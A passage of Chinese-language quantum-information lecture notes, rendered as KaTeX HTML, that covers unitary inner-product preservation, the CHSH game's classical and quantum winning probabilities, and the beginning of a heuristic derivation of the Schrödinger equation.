class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord"></span><span class="mord"><span class="mord mathnormal">ϕ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">†</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal">ϕ</span><span class="mclose">⟩)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mopen">⟨</span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mord">∣</span><span class="mord"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">†</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal">ϕ</span><span class="mclose">⟩</span></span></span></span></span></p><p>為了保內積，我們要求 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi><mo>⋅</mo><msup><mi>U</mi><mo>†</mo></msup><mo>=</mo><mi>I</mi></mrow><annotation encoding="application/x-tex">U\cdot U^\dagger = I</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">†</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0785em;">I</span></span></span></span></p><h3 id="tensor-product" tabindex="-1" id="Tensor-product">Tensor product</h3><p>去看這篇w <a href="https://hackmd.io/@sqcs/S19UuyCs6">09 張量積(Tensor product) - HackMD</a></p><h2 id="chsh-game" tabindex="-1" id="CHSH-game">CHSH game</h2><p>這和貝爾不等式等價，所以上課沒講貝爾不等式講這個。</p><p>這個遊戲這樣進行：有一名裁判®和兩名玩家(A, B)，R產生2個古典位元分別傳給 A, B，A, B 收到之後需要個別回傳一個古典位元，a, b。玩家獲勝的條件為 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi><mo>=</mo><mi>a</mi><mo>⊕</mo><mi>b</mi></mrow><annotation encoding="application/x-tex">xy=a\oplus b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span>。過程中 A, B 兩人在遊戲過程中是不能交流的。</p><h3 id="%E5%8F%A4%E5%85%B8%E7%AD%96%E7%95%A5" tabindex="-1" id="古典策略">古典策略</h3><p><img src="https://quantum.cloud.ibm.com/learning/images/courses/basics-of-quantum-information/entanglement-in-action/nonlocal-game.svg" alt="CHSH Game"><br>圖片來源：<a href="https://quantum.cloud.ibm.com/learning/en/courses/basics-of-quantum-information/entanglement-in-action/chsh-game">CHSH game | IBM Quantum Learning</a></p><p>以下表格列出幾個例子</p><table><thead><tr><th style="text-align:center">x</th><th style="text-align:center">y</th><th style="text-align:center">a</th><th style="text-align:center">b</th><th style="text-align:center">xy</th><th style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo>⊕</mo><mi>b</mi></mrow><annotation encoding="application/x-tex">a\oplus b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span></th><th style="text-align:center">Result</th></tr></thead><tbody><tr><td style="text-align:center">0</td><td style="text-align:center">1</td><td style="text-align:center">0</td><td style="text-align:center">1</td><td style="text-align:center">0</td><td style="text-align:center">1</td><td style="text-align:center">Loss</td></tr><tr><td style="text-align:center">0</td><td style="text-align:center">1</td><td style="text-align:center">1</td><td style="text-align:center">1</td><td style="text-align:center">0</td><td style="text-align:center">0</td><td style="text-align:center">Win</td></tr><tr><td style="text-align:center">1</td><td style="text-align:center">1</td><td style="text-align:center">1</td><td style="text-align:center">0</td><td style="text-align:center">1</td><td style="text-align:center">1</td><td style="text-align:center">Win</td></tr></tbody></table><p>古典策略能做到最好的勝率為 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>75</mn><mi mathvariant="normal">%</mi></mrow><annotation encoding="application/x-tex">75\%</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">75%</span></span></span></span>，作法是 A 和 B 都無論如何回傳 0。</p><h3 id="%E9%87%8F%E5%AD%90%E7%AD%96%E7%95%A5" tabindex="-1" id="量子策略">量子策略</h3><p>勝率 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>75</mn><mi mathvariant="normal">%</mi></mrow><annotation encoding="application/x-tex">75\%</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">75%</span></span></span></span>，看起來不能再高了對吧？但如果量子力學是對的那就不一樣了。A 和 B 可以事先準備一對處於最大疊加態 (Bell State) 的粒子對：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ϕ</mi><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{}\phi\rangle = \frac{1}{\sqrt2}\left(|00\rangle+|11\rangle\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal">ϕ</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;">2</span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span>，然後一人拿一顆。</p><p>而玩家 A、B 策略分別為：</p><ul><li>玩家A：如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">x=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，在 Z 方向測量；如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">x=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，在 X 方向測量</li><li>玩家B：如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">y=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mrow><mo stretchy="false">(</mo><mi>Z</mi><mo>+</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><msqrt><mn>2</mn></msqrt></mfrac></mrow><annotation encoding="application/x-tex">\frac{(Z+X)}{\sqrt{2}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.548em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.01em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mtight">2</span></span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.485em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.0715em;">Z</span><span class="mbin mtight">+</span><span class="mord mathnormal mtight" style="margin-right:0.0785em;">X</span><span class="mclose mtight">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> 方向測量；如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">y=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mrow><mo stretchy="false">(</mo><mi>Z</mi><mo>−</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><msqrt><mn>2</mn></msqrt></mfrac></mrow><annotation encoding="application/x-tex">\frac{(Z-X)}{\sqrt{2}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.548em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.01em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mtight">2</span></span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.485em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.0715em;">Z</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight" style="margin-right:0.0785em;">X</span><span class="mclose mtight">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> 方向測量</li></ul><p>我們窮舉 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span> 的四種可能，可以發現勝率全部都是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mrow><mi>cos</mi><mo>⁡</mo></mrow><mn>2</mn></msup><mo stretchy="false">(</mo><mfrac><mi>π</mi><mn>8</mn></mfrac><mo stretchy="false">)</mo><mo>≈</mo><mn>0.85</mn></mrow><annotation encoding="application/x-tex">\cos^2(\frac{\pi}{8})\approx 0.85</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1591em;vertical-align:-0.345em;"></span><span class="mop"><span class="mop">cos</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">8</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">π</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.85</span></span></span></span>，比古典策略高。</p><h2 id="%E8%96%9B%E4%B8%81%E6%A0%BC%E6%96%B9%E7%A8%8B%E5%BC%8F" tabindex="-1" id="薛丁格方程式">薛丁格方程式</h2><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>i</mi><mi mathvariant="normal">ℏ</mi><mfrac><mi mathvariant="normal">∂</mi><mrow><mi mathvariant="normal">∂</mi><mi>t</mi></mrow></mfrac><mi mathvariant="normal">Ψ</mi><mo stretchy="false">(</mo><mi mathvariant="bold">r</mi><mo separator="true">,</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mrow><mo fence="true">[</mo><mo>−</mo><mfrac><msup><mi mathvariant="normal">ℏ</mi><mn>2</mn></msup><mrow><mn>2</mn><mi>m</mi></mrow></mfrac><msup><mi mathvariant="normal">∇</mi><mn>2</mn></msup><mo>+</mo><mi>V</mi><mo stretchy="false">(</mo><mi mathvariant="bold">r</mi><mo stretchy="false">)</mo><mo fence="true">]</mo></mrow><mi mathvariant="normal">Ψ</mi><mo stretchy="false">(</mo><mi mathvariant="bold">r</mi><mo separator="true">,</mo><mi>t</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">i\hbar \frac{\partial}{\partial t}\Psi(\mathbf{r},t) = \left[ -\frac{\hbar^2}{2m}\nabla^2 + V(\mathbf{r}) \right]\Psi(\mathbf{r},t)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mord mathnormal">i</span><span class="mord">ℏ</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord mathnormal">t</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord">Ψ</span><span class="mopen">(</span><span class="mord mathbf">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">t</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4411em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord">−</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord">ℏ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="mord">∇</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.2222em;">V</span><span class="mopen">(</span><span class="mord mathbf">r</span><span class="mclose">)</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">Ψ</span><span class="mopen">(</span><span class="mord mathbf">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">t</span><span class="mclose">)</span></span></span></span></span></p><h3 id="%E7%8C%9C%E5%87%BA%E6%96%B9%E7%A8%8B%E5%BC%8F" tabindex="-1" id="猜出方程式">猜出方程式</h3><blockquote><p>教授：這只有用到高中知識，所以理論上你們都能寫下薛丁格方程式</p></blockquote><blockquote><p>我上課時沒拍到，所以我是課後問 Gemini 的</p></blockquote><p>薛丁格是怎麼猜出薛丁格方程式的呢？<br>既然是波，那他也只能長成這樣(至少組成單元是這樣)</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>ψ</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mi>A</mi><msup><mi>e</mi><mrow><mi>i</mi><mo stretchy="false">(</mo><mi>k</mi><mi>x</mi><mo>−</mo><mi>ω</mi><mi>t</mi><mo stretchy="false">)</mo></mrow></msup></mrow><annotation encoding="application/x-tex">\psi(x,t) = A e^{i(kx - \omega t)}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">t</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.938em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.938em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span><span class="mord mathnormal mtight">x</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight" style="margin-right:0.0359em;">ω</span><span class="mord mathnormal mtight">t</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span></span></span></span></span></p><p>從量子力學的能量和物質波公式能得出</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right left right" columnspacing="0em 1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>E</mi><mo>=</mo><mi>h</mi><mi>f</mi><mo>=</mo><mi mathvariant="normal">ℏ</mi><mi>ω</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mtext>  </mtext><mo>⟹</mo><mtext>  